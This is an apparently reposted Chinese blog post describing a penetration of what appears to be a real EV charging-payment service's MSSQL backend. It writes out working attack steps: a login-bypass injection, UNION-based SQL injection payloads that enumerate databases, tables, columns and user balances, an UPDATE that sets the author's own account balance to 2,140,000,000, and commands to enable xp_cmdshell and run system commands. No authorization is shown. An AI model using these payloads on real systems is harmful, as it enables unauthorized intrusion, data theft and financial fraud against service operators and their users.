2

MSSQL渗透测试过程(上)

 3 years ago
source link: https://www.ascotbe.com/2019/01/30/MSSQLPenetrationTest_0x01/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

开始准备工作

  • 用什么nmap,awvs,vooli,ibm一堆工具搞了一遍发现没啥有用的信息
  • 然后直接打开网站只有一个后台,这样只能看下能不能后台注入

如上图显示是有注入点的试下'or '1'='1'--直接进去了

结果发现后台啥功能都没有就几张图

然后转去搞APP去了,发现APP都是些泄露账户密码什么的没啥好玩的

振奋人心的发现

在Fiddler中抓到了一些奇怪的JS文件打开一看好多网址,都是我用IBM没扫描出来的东西,在一堆网址中找到了一个网页可以使用

用老方法测试发现存在注入点如图

我们用order by 猜字段得出有12个字段

接着构造语句查询数据库版本数据库权限等信息

'union select null,null,null,null,@@version,null,null,null,null,null,null,null -- 查询数据库版本

'union select null,null,null,null,system_user,null,null,null,null,null,null,null -- 用户权限

查询的后的一些基础信息

system_user sa

@@version Microsoft SQL Server 2012 (SP4) (KB4018073) - 11.0.7001.0 (X64) Aug 15 2017 10:23:29 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.3 (Build 9600: )

@@servername WIN-SF2MD4VM4JT

host_name() WIN-RG8BCEM932D

查询当前所有的数据库

111'union select null,null,null,null,name,null,null,null,null,null,null,null from master..sysdatabases--

查询当前数据库中的全部表(部分表截图)

'union select null,null,null,null,name,null,null,null,null,null,null,null from sysobjects where xtype='U' and category=0 --

查询表中是否有数据(查询行)

'union select null,null,null,null,count(1),null,null,null,null,null,null,null from Server_IN_UserRecharge--

表+表中的行

Server_AccountTradeRecord 39309

Server_AlipayData 17446

Server_BatteryType

Server_DT_BatteryDiagnosticCATLData

Server_DT_CarTypeInformation 67

Server_DT_BatteryDiagnosticData

Server_DT_ChargingPileStatusData 1804426

Server_DT_CostAccount 1

Server_DT_Dictionary 22

Server_DT_DictionaryData 104

Server_DT_FeedbackData 28

Server_DT_GroupCustomersData

Server_DT_IncomeAccount 1

Server_DT_InvoiceInformation

Server_DT_ServerErrorLogData 5829

Server_DT_SmsCodeData 302

Server_DT_UserCarInformation 140

Server_IN_ChargingPileInformation 7

Server_IN_ChargingStationInformation 2

Server_IN_CouponInformation 2

Server_IN_DBServerConnection 3

Server_IN_DeviceBindChargingStation

Server_IN_DeviceInformation 11

Server_IN_ElectricityStatistics 4

Server_IN_IC 1

Server_IN_IntegralRule

Server_IN_Menu_RoleInformation 109

Server_IN_ProvincesAndCity 47187

Server_IN_PushMsgData 226

Server_IN_ReceiveAddressInformation 41

Server_IN_RoleInformation 3

Server_IN_Shop

Server_IN_SignIn

Server_IN_StationValuationProgram 10

Server_IN_SystemConfigurationInfo

Server_IN_Town 41835

Server_IN_User_RoleInformation 6

Server_IN_UserInformation 81

Server_IN_UserPushConfig 36

Server_IN_UserRecharge

Server_IN_ValuationProgram 24

Server_NE_MenuInformation 64

Server_Reservation 58

Server_ReserveRecord

Server_UserAccount 80

Server_DT_ChargeWarnData 1

Server_DT_ChargeData 12248

后面一个表一个表猜去哪里有金额数据,最后在Server_UserAccount 这个表中找到了金额

查询表中的全部列名

'union select null,null,null,null,name,null,null,null,null,null,null,null FROM SysColumns Where id=Object_Id('Server_UserAccount')--

查询表中列的数据

11111'union select null,null,Amount,User_id,2,3,null,4,null,null,null,null FROM Server_UserAccount--

找到自己的用户ID这个我是在APP的返回包中抓到的

Update 表名 set 字段=值 where 条件

Update Server_UserAccount set Amount=2140000000 where User_id=5317--

尝试getshell

改网站站库分离+没有上传点+不知道是装了360还是配置错误尽然用xp_cmdshell错误

原理我是个菜鸡,各位大佬轻喷,顺便提提有什么思路让我学习学习

最后记个小TOP:

'union select null,null,null,null,x,null,null,null,null,null,null,null from xx-- 查询创建好表的数据

'create table xx(x nvarchar(max))-- 在数据库中创建XX的表列为X

用着4局话开启XP_CMDSHELL

sp_configure 'show advanced options',1

reconfigure

sp_configure 'xp_cmdshell',1

reconfigure

接着用报错注入法

'begin try exec master..xp_cmdshell'whoami' end try begin catch insert into xx select ERROR_MESSAGE() end catch-- 在数据库中插入exec master..xp_cmdshell'whoami'然后查询该表得到回显

参考博客:http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK